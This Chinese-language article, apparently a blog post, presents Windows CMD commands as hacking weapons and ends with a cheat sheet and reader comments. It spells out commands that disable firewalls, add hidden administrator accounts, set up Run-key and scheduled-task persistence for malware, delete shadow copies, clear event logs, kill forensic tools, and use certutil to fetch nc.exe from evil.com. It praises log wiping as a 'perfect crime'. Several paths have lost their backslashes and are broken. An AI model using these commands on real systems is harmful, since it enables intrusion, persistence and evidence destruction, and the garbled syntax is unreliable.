在数字世界的暗流中，掌握命令行如同拥有打开系统后门的。那些看似简单的黑白窗口中，涌动着足以改写网络攻防格局的底层力量——从窥探系统指纹到劫持远程会话，从绕过安全防线到操纵进程命脉，每个敲击的回车都可能是颠覆战局的致命武器。
一、系统侦察：从零构建战场沙盘
任何渗透行动都始于对目标的精准测绘。`systeminfo`命令堪称系统档案库，不仅能调取操作系统版本、安装补丁等表层信息，还能通过`/s`参数远程扫描内网主机。当配合`net view /domain`获取域控信息时，攻击者能迅速勾勒出整个企业网络的拓扑结构。
进阶玩家偏爱`wmic`这个"瑞士军刀"，通过`wmic process list brief`可枚举所有进程及其PID，而`wmic qfe list full`则能精准定位缺失的安全更新。某次红队行动中，渗透测试员正是利用`wmic /node:192.168.1.10 process call create "cmd.exe"`实现了横向移动，这种无文件攻击方式让传统杀软形同虚设。
二、网络操控：编织数据蛛网的艺术
`netsh`系列命令构建起立体的网络战体系。在某个真实APT案例中，攻击者通过`netsh firewall set opmode disable`悄然关闭防火墙，随后用`netsh interface portproxy add v4tov4`设置端口转发，将3389远程桌面流量伪装成HTTPS流量穿透企业边界。
流量分析神器`netstat -ano`配合`tasklist /svc`，能瞬间锁定异常外联进程。曾有安全团队发现某财务软件持续向境外IP发送数据，最终通过`taskkill /PID 14244 /F`强制终止恶意进程，及时阻断数据泄露。而`route print`展示的路由表，往往暗藏着攻击者精心布置的跳板路径。
三、权限游戏：从提权到隐匿的攻防博弈
`net user`家族命令是权限操控的魔术棒。某次应急响应中，防御者发现攻击者通过`net user sysadmin Pa$$w0rd! /add && net localgroup administrators sysadmin /add`创建隐蔽管理员账户，这种"金账号"配合`net use 192.168.1.2C$ /user:sysadmin Pa$$w0rd!`可轻松实现内网漫游。
更精妙的操作藏在`reg`命令中，通过`reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v Updater /t REG_SZ /d "C:malware.exe"`可实现持久化驻留。而`schtasks /create /tn "SystemUpdate" /tr "C:payload.exe" /sc hourly`则让恶意任务像系统服务般规律运行，这种"数字寄生虫"策略让传统查杀难以根治。
四、生存法则：对抗检测与痕迹清除
在攻防升级的今天，`attrib +h +s +r secret.txt`已不足以隐藏关键文件。黑客们开始转向`fsutil file createnew`创建特定时间戳的诱饵文件，或是用`cipher /w:C:`彻底覆写磁盘空闲空间。某勒索软件曾采用`vssadmin delete shadows /all`删除卷影副本，让数据恢复成为泡影。
针对内存取证技术，高手会使用`taskkill /IM procexp.exe /F`秒杀取证工具进程。更绝的是通过`bcdedit /set {current} bootstatuspolicy ignoreallfailures`修改启动策略，让蓝屏错误不再生成崩溃转储文件，这种"踏雪无痕"的操作堪称数字世界的完美犯罪。
五、代码之刃：当CMD邂逅编程魔法
在Java反序列化漏洞利用中，`Runtime.getRuntime.exec("cmd /c certutil -urlcache -split -f http://evil.com/nc.exe")`这类代码屡见不鲜。而Python脚本中的`os.system('netsh advfirewall set allprofiles state off')`更是红队工具的标配动作。
某CTF赛场出现过精妙利用：选手通过`type exploit.bat | clip`将攻击载荷存入剪贴板，再结合`mshta javascript:code...`实现无文件渗透。这种将传统命令与现代脚本融合的"新旧混搭"战术，正在改写渗透测试的规则手册。
实战指令速查表
| 场景 | 核心指令组合 | 战术价值 |
|--|-|--|
| 信息收集 | `systeminfo && netstat -ano` | 绘制系统画像 |
| 横向移动 | `wmic /node:IP process call create` | 无文件远程执行 |
| 权限维持 | `schtasks /create /tn... & reg add...` | 深度潜伏 |
| 痕迹清除 | `cipher /w:C: & wevtutil cl` | 反取证操作 |
评论区热议精选
>"原来每次看到命令行黑框就紧张，看完才发现是宝藏工具箱！求教`for /l %i in (1,1,255) do @ping 192.168.1.%i`这种网段爆破怎么防御？" ——@网络保安小王
>"文中提到的`sethc.exe`替换后门简直是古董级漏洞，现在真还有企业不修？建议补充PowerShell对抗姿势！" ——@红队老司机
（你在渗透测试中遇到过哪些"古董级"漏洞？欢迎在评论区分享实战案例，点赞最高的问题将出现在下期专题解析中！点击关注获取更新提醒，解锁更多"命令行黑魔法"～）
文中部分攻防手法需在授权环境下使用，技术宅的浪漫在于创造而非破坏。就像网友说的："代码本无罪，人心定善恶，懂的都懂。"
